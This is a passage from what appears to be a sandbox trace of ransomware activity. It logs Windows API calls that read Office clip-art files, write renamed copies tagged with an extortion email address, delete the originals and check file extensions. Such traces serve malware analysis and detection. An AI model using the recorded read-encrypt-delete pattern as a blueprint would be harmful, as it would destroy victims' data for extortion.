lpNumberOfBytesRead=0x339fecc*=0x964, lpOverlapped=0x0) returned 1 [0084.653] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x970, lpOverlapped=0x0) returned 1 [0084.653] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.654] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.654] SetEndOfFile (hFile=0x344) returned 1 [0084.654] CloseHandle (hObject=0x344) returned 1 [0084.654] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.654] SetEndOfFile (hFile=0x398) returned 1 [0084.655] CloseHandle (hObject=0x398) returned 1 [0084.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0084.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.655] lstrlenW (lpString=".doc") returned 4 [0084.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.655] lstrlenW (lpString=".docx") returned 5 [0084.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.655] lstrlenW (lpString=".pdf") returned 4 [0084.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString=".xls") returned 4 [0084.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.656] lstrlenW (lpString=".xlsx") returned 5 [0084.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.656] lstrlenW (lpString=".ppt") returned 4 [0084.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString=".zip") returned 4 [0084.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.656] lstrlenW (lpString=".rar") returned 4 [0084.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString=".bz2") returned 4 [0084.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString=".7z") returned 3 [0084.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString=".dbf") returned 4 [0084.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString=".1cd") returned 4 [0084.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString=".jpg") returned 4 [0084.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.656] lstrlenW (lpString=".doc") returned 4 [0084.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString=".docx") returned 5 [0084.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.656] lstrlenW (lpString=".pdf") returned 4 [0084.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.656] lstrlenW (lpString=".xls") returned 4 [0084.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.656] lstrlenW (lpString=".xlsx") returned 5 [0084.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.657] lstrlenW (lpString=".ppt") returned 4 [0084.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.657] lstrlenW (lpString=".zip") returned 4 [0084.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.657] lstrlenW (lpString=".rar") returned 4 [0084.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.657] lstrlenW (lpString=".bz2") returned 4 [0084.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.657] lstrlenW (lpString=".7z") returned 3 [0084.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.657] lstrlenW (lpString=".dbf") returned 4 [0084.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.657] lstrlenW (lpString=".1cd") returned 4 [0084.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0084.657] lstrlenW (lpString=".jpg") returned 4 [0084.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.657] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.657] lstrlenW (lpString="DD01171_.WMF") returned 12 [0084.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.658] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2052) returned 1 [0084.658] CloseHandle (hObject=0x398) returned 1 [0084.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0084.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.658] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.658] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.658] GetLastError () returned 0x0 [0084.658] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x804, lpOverlapped=0x0) returned 1 [0084.660] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x810, lpOverlapped=0x0) returned 1 [0084.664] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.664] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.664] SetEndOfFile (hFile=0x344) returned 1 [0084.664] CloseHandle (hObject=0x344) returned 1 [0084.664] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.664] SetEndOfFile (hFile=0x398) returned 1 [0084.665] CloseHandle (hObject=0x398) returned 1 [0084.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0084.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.666] lstrlenW (lpString=".doc") returned 4 [0084.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.666] lstrlenW (lpString=".docx") returned 5 [0084.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.666] lstrlenW (lpString=".pdf") returned 4 [0084.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.666] lstrlenW (lpString=".xls") returned 4 [0084.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.666] lstrlenW (lpString=".xlsx") returned 5 [0084.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.666] lstrlenW (lpString=".ppt") returned 4 [0084.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.666] lstrlenW (lpString=".zip") returned 4 [0084.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.666] lstrlenW (lpString=".rar") returned 4 [0084.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.666] lstrlenW (lpString=".bz2") returned 4 [0084.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.666] lstrlenW (lpString=".7z") returned 3 [0084.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.666] lstrlenW (lpString=".dbf") returned 4 [0084.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".1cd") returned 4 [0084.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".jpg") returned 4 [0084.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".doc") returned 4 [0084.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString=".docx") returned 5 [0084.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.667] lstrlenW (lpString=".pdf") returned 4 [0084.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString=".xls") returned 4 [0084.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.667] lstrlenW (lpString=".xlsx") returned 5 [0084.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.667] lstrlenW (lpString=".ppt") returned 4 [0084.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".zip") returned 4 [0084.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.667] lstrlenW (lpString=".rar") returned 4 [0084.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString=".bz2") returned 4 [0084.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString=".7z") returned 3 [0084.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".dbf") returned 4 [0084.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.667] lstrlenW (lpString=".1cd") returned 4 [0084.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0084.668] lstrlenW (lpString=".jpg") returned 4 [0084.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.668] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.668] lstrlenW (lpString="DD01172_.WMF") returned 12 [0084.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.668] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2232) returned 1 [0084.668] CloseHandle (hObject=0x398) returned 1 [0084.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0084.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.668] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.668] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.669] GetLastError () returned 0x0 [0084.669] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0084.670] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0084.671] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.671] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.671] SetEndOfFile (hFile=0x344) returned 1 [0084.672] CloseHandle (hObject=0x344) returned 1 [0084.672] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.672] SetEndOfFile (hFile=0x398) returned 1 [0084.673] CloseHandle (hObject=0x398) returned 1 [0084.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0084.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.673] lstrlenW (lpString=".doc") returned 4 [0084.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.673] lstrlenW (lpString=".docx") returned 5 [0084.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.673] lstrlenW (lpString=".pdf") returned 4 [0084.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.673] lstrlenW (lpString=".xls") returned 4 [0084.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.673] lstrlenW (lpString=".xlsx") returned 5 [0084.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.673] lstrlenW (lpString=".ppt") returned 4 [0084.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.673] lstrlenW (lpString=".zip") returned 4 [0084.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.673] lstrlenW (lpString=".rar") returned 4 [0084.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.673] lstrlenW (lpString=".bz2") returned 4 [0084.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString=".7z") returned 3 [0084.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString=".dbf") returned 4 [0084.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString=".1cd") returned 4 [0084.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString=".jpg") returned 4 [0084.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString=".doc") returned 4 [0084.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString=".docx") returned 5 [0084.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.674] lstrlenW (lpString=".pdf") returned 4 [0084.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString=".xls") returned 4 [0084.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.674] lstrlenW (lpString=".xlsx") returned 5 [0084.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.674] lstrlenW (lpString=".ppt") returned 4 [0084.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.674] lstrlenW (lpString=".zip") returned 4 [0084.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.674] lstrlenW (lpString=".rar") returned 4 [0084.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString=".bz2") returned 4 [0084.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.674] lstrlenW (lpString=".7z") returned 3 [0084.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.675] lstrlenW (lpString=".dbf") returned 4 [0084.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.675] lstrlenW (lpString=".1cd") returned 4 [0084.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0084.675] lstrlenW (lpString=".jpg") returned 4 [0084.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.675] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.675] lstrlenW (lpString="DD01173_.WMF") returned 12 [0084.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.681] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1804) returned 1 [0084.681] CloseHandle (hObject=0x398) returned 1 [0084.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0084.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.682] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.682] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.682] GetLastError () returned 0x0 [0084.682] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x70c, lpOverlapped=0x0) returned 1 [0084.684] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x710, lpOverlapped=0x0) returned 1 [0084.685] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, 